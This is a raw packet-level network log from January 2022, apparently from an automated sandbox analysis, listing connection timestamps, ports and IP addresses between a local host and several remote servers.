Jan 14, 2022 20:29:20.785311937 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.785324097 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.785423994 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.785428047 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.785440922 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.785486937 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.785494089 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.785516977 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.785557985 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.785725117 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.785816908 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.786046028 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.892537117 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.892575979 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.892599106 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.892620087 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.892642021 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.892663956 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.892683983 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.892704964 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.892709017 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.892740011 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.892761946 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.893017054 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893043041 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893064022 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893085003 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893102884 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.893109083 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893131018 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893138885 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.893153906 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893174887 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893183947 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.893213987 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.893634081 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893690109 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893718958 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893744946 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893750906 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.893771887 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893789053 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.893795967 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893857002 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.893872976 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893898010 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893939018 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893942118 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.893964052 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.893984079 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894005060 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.894005060 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894031048 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894051075 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894051075 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.894072056 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894093037 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.894094944 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894117117 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894138098 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894140959 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.894184113 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.894458055 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894485950 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894505024 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894526005 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894536018 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.894578934 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.894604921 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894627094 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894648075 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894668102 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894670963 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.894710064 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.894759893 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894782066 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894803047 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894824028 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894828081 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.894845009 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894865990 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:20.894866943 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:20.894922972 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.000339031 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.000369072 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.000386000 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.000402927 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.000420094 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.000436068 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.000447035 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.000475883 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.000494003 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.000500917 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.000528097 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.000658035 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.000675917 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.000722885 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.000746012 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.000802040 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.000809908 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.000827074 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.000849009 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.000876904 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.000953913 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.000988960 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001024961 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.001382113 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001410007 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001441002 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001451969 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.001457930 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001494884 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.001667976 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001688957 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001709938 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001720905 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.001724958 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001754999 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.001836061 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001844883 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001878023 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001887083 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.001894951 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001912117 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001928091 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001935959 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.001944065 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.001959085 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.001960993 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002005100 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.002023935 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002044916 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002074003 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.002157927 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002192974 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002223969 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.002317905 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002337933 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002357960 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002367973 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.002376080 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002417088 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.002435923 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002454996 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002471924 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002486944 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.002486944 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002517939 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.002557993 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002608061 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002624989 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002640009 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.002644062 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.002676010 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.108025074 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.108050108 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.108066082 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.108088017 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.108095884 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.108109951 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.108146906 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.108181000 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.108185053 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.108198881 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.108233929 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.264153957 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.371078968 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371113062 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371129990 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371146917 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371222019 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.371249914 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.371432066 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371452093 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371468067 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371484995 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371495008 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.371516943 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.371659040 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371680021 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371695995 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371712923 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371721029 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.371730089 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371746063 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371746063 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.371781111 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.371783018 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371820927 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371854067 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.371871948 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371891022 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371906996 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371922970 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371928930 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.371939898 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371954918 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.371956110 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.371989012 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.372443914 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.372469902 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.372486115 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.372502089 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.372513056 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.372539043 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.372713089 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.372811079 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.372831106 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.372843981 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.372848988 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.372876883 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.372878075 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.372898102 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.372915030 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.372930050 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.372932911 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.372966051 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.372978926 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.372997999 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373013973 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373028040 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373028040 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.373059034 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.373272896 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373337984 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373354912 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373373985 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.373392105 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373409033 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373425007 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373428106 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.373457909 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.373461008 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373481989 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373498917 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373512983 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.373517036 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373533964 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373547077 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.373594046 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373611927 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373627901 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373629093 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.373657942 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.373732090 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373783112 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373800039 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373816967 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.373838902 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373874903 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373892069 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.373893023 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373910904 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373924971 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.373935938 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.373965025 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.374001026 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.374115944 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.374150038 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.374152899 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.374171972 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.374187946 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.374202967 CET	8080	49803	185.7.214.171	192.168.2.4
Jan 14, 2022 20:29:21.374209881 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:21.374237061 CET	49803	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 20:29:23.373516083 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.391386986 CET	80	49804	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:23.391505003 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.391648054 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.391669989 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.412538052 CET	80	49804	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:23.511357069 CET	80	49804	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:23.511379957 CET	80	49804	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:23.511462927 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.511624098 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.528850079 CET	80	49804	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:23.540579081 CET	49805	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.560281992 CET	80	49805	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:23.560379982 CET	49805	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.560480118 CET	49805	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.560518980 CET	49805	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.578115940 CET	80	49805	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:23.684058905 CET	80	49805	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:23.685683966 CET	49805	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.697976112 CET	49805	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.716217041 CET	80	49805	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:23.741336107 CET	49806	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.758944035 CET	80	49806	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:23.759251118 CET	49806	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.759356022 CET	49806	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.760116100 CET	49806	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.776904106 CET	80	49806	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:23.777827024 CET	80	49806	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:23.884146929 CET	80	49806	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:23.884187937 CET	80	49806	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:23.884287119 CET	49806	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.884538889 CET	49806	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:23.902046919 CET	80	49806	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:23.923029900 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:23.923073053 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:23.923180103 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:23.923680067 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:23.923705101 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:23.971713066 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:23.971803904 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:23.975586891 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:23.975596905 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:23.975832939 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:23.979005098 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.025899887 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.040484905 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.040659904 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.040740967 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.040795088 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.040828943 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.040942907 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.041022062 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.041057110 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.041117907 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.041136026 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.041239977 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.041306019 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.041368008 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.041368961 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.041390896 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.041416883 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.041532993 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.041609049 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.041671991 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.041688919 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.041716099 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.041742086 CET	49807	443	192.168.2.4	162.159.135.233
Jan 14, 2022 20:29:24.041841030 CET	443	49807	162.159.135.233	192.168.2.4
Jan 14, 2022 20:29:24.041908979 CET	49807	443	192.168.2.4	162.159.135.233
